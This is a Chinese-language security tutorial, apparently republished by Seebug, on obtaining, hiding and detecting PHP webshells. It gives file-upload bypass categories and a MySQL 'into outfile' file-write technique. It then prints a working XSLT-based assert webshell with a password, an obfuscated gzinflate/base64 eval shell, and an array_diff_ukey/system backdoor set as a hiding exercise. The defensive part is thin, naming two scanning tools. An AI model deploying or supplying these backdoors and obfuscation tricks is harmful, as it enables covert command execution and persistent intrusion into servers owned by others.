來自i春秋作者: zusheng

本篇文章將帶大家學習如何獲取WebShell,如何隱藏WebShell,有攻必有防,最后帶大家學習查殺WebShell。

第一節 CMS獲取WebShell

1.1、什么是CMS?

CMS是Content Management System的縮寫,意為"內容管理系統"。 內容管理系統是企業信息化建設和電子政務的新寵,也是一個相對較新的市場。對于內容管理,業界還沒有一個統一的定義,不同的機構有不同的理解。

1.2、常見的CMS有哪些?

asp平臺:動易CMS、創力CMS、科汛CMS、新云CMS; php平臺:phpcms、織夢CMS、帝國CMS、php168 CMS; ASP.NET平臺:Zoomla!逐浪CMS、動易CMS、風訊CMS、We7 CMS;

1.3、CMS獲取WebShell方法

公開漏洞途徑:以PHPCMS為例: 我們可以利用搜索引擎來查找互聯網上公開的通用漏洞,如果目標站點并沒有進行修復,即可輕松獲取WebShell。

代碼審計途徑: 有很多CMS其實是開源的,我們可以在官網下載到源碼,然后進行代碼審計,自己挖掘漏洞, 來獲取WebShell。關于代碼審計的教程篇幅太長,這里就不做更多介紹,我會單獨寫一篇系列文章進行講解。

第二節 非CMS獲取WebShell

2.1、上傳漏洞獲取WebShell

文件上傳漏洞主要有以下幾種情況:

  • MIME類型繞過漏洞
  • 文件擴展名繞過漏洞
  • 文件內容檢測繞過類上傳漏洞
  • 空字節截斷目錄路徑檢測繞過類上傳漏洞

解析導致的文件上傳漏洞:

  • IIS6.0站上的目錄路徑檢測解析繞過上傳漏洞
  • Apache站上的解析缺陷繞過上傳漏洞
  • htaccess文件上傳解析漏洞

還有一些編輯器存在漏洞導致的文件上傳,比如FCK編輯器。

具體請看i春秋學院視頻,還可以做實驗,鏈接如下: 非法文件上傳漏洞技術解析及防御

2.2、SQL注入獲取WebShell

利用SQL注入攻擊獲取WebShell其實就是在向服務器寫文件。(注意:這里我們需要得到網站的絕對路徑)所有常用的關系數據庫管理系統(RDBMS)均包含內置的向服務器文件系統寫文件的功能。

MySQL:

select into outfile(dumpfile)? //MySQL寫文件命令

例如:

select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";

那么其它關系數據庫管理系統同樣的原理寫文件,就不在過多介紹了。

2.3、數據庫備份獲取WebShell

利用數據庫備份獲取WebShell,恰好i春秋有相關的實驗,我也發過相關的教程,這里就不介紹了,大家去看看吧,第三步就是利用數據庫備份拿WebShell。 2015中國網絡安全大賽:越權訪問真題

配套實驗地址:(進去后選擇越權訪問點擊START就行了) 2015中國網絡安全大賽

第三節 基于xslt轉換的WebShell

3.1、什么是xslt?

在了解什么是xslt之前,我們需要先了解什么是xsl,XSL是可擴展樣式表語言的外語縮寫,是一種用于以可讀格式呈現 XML(標準通用標記語言的子集)數據的語言。

XSL - 不僅僅是樣式表語言 XSL 包括三部分:

  • XSLT - 一種用于轉換 XML 文檔的語言。
  • XPath - 一種用于在 XML 文檔中導航的語言。
  • XSL-FO - 一種用于格式化 XML 文檔的語言。

那么看到這里相信大家已經了解到xslt是xsl的一部分。

3.2、在PHP下基于xslt轉換來隱藏WebShell

怎么在php下使用xsl呢?我教大家的都是可以自己學習的方法,既然要使用php,我們肯定要去看php的官方手冊,我們去搜索xsl

定位到XSLTProcessor類,可以發現registerPHPFunctions方法,如果你根本不懂這些方法,不要緊,看后面的英文介紹,如果你說你不懂英文,不要緊啊,不有google翻譯,拿去翻譯一下

Enables the ability to use PHP functions as XSLT functions

我們點進去,可以發現里面有事例,很簡單,建議大家去看看啊。PHP手冊地址見下面的參考資料

我們先來看看官方事例:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
?????xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
?????xmlns:php="http://php.net/xsl">????????? //這個命名空間URI表示php專用的xsl函數支持
<xsl:output method="html" encoding="utf-8" indent="yes"/>
?<xsl:template match="allusers">
??<html><body>
????<h2>Users</h2>
????<table>
????<xsl:for-each select="user">
??????<tr><td>
????????<xsl:value-of
?????????????select="php:function('ucfirst',string(uid))"/>???? //php:function('assert',string(.))表示將匹配節點的文本作為參數傳遞給php的assert函數。
??????</td></tr>
????</xsl:for-each>
????</table>
??</body></html>
?</xsl:template>
</xsl:stylesheet>

那么搞懂了以上這些知識,那就很簡單了。

為了避免xml的轉義問題,進行一次assert嵌套,最終WebShell如下:

<?php
$xml='<ichunqiu>assert($_POST[zusheng]);</ichunqiu>';
$xsl='<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:icq="http://php.net/xsl">
?<xsl:template match="/ichunqiu">
????<xsl:value-of select="icq:function(\'assert\',string(.))"/>
?</xsl:template>
</xsl:stylesheet>';
$xmldoc = DOMDocument::loadXML($xml);
$xsldoc = DOMDocument::loadXML($xsl);
$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStyleSheet($xsldoc);
$proc->transformToXML($xmldoc);
?> 

可以直接用菜刀連接:(密碼:zusheng)

參考資料: PHP官方手冊:http://php.net/manual/zh/

第四節 代碼混淆隱藏WebShell

代碼混淆隱藏WebShell也就是通過編碼和壓縮惡意代碼的方式來隱藏WebShell。

這里我們使用gzinflate+Base64加密,來隱藏WebShell。

<?php
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVq8qLc5IzUtXj9W0BgA=')));
?>

可以直接用菜刀連接:(密碼:zusheng)

第五節 防御篇-查殺WebShell

5.1、WebShell的分類

5.2、安全工具

D盾:

下載地址:免費下載

360主機衛士: 提供在線監測,把網站打包成zip上傳就行了 http://zhuji.#/backdoor

小實驗

學完上述知識,大家是不是想動手來試試了呢,來個小實驗。

我們先新建一個php文件

文件內容如下:

<?php
if (isset($_GET["cmd"]))
{
array_diff_ukey(@array($_GET['cmd']=>1),@array('user'=>2),'system');
}
?>

使用 gzinflate+Base64 加密,來隱藏 WebShell 。 使之能正常運行。

結束語

作為一名黑客,在你取得成功的問題上沒有什么訣竅可尋,只有你越努力工作,你才能越接近成功。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/36/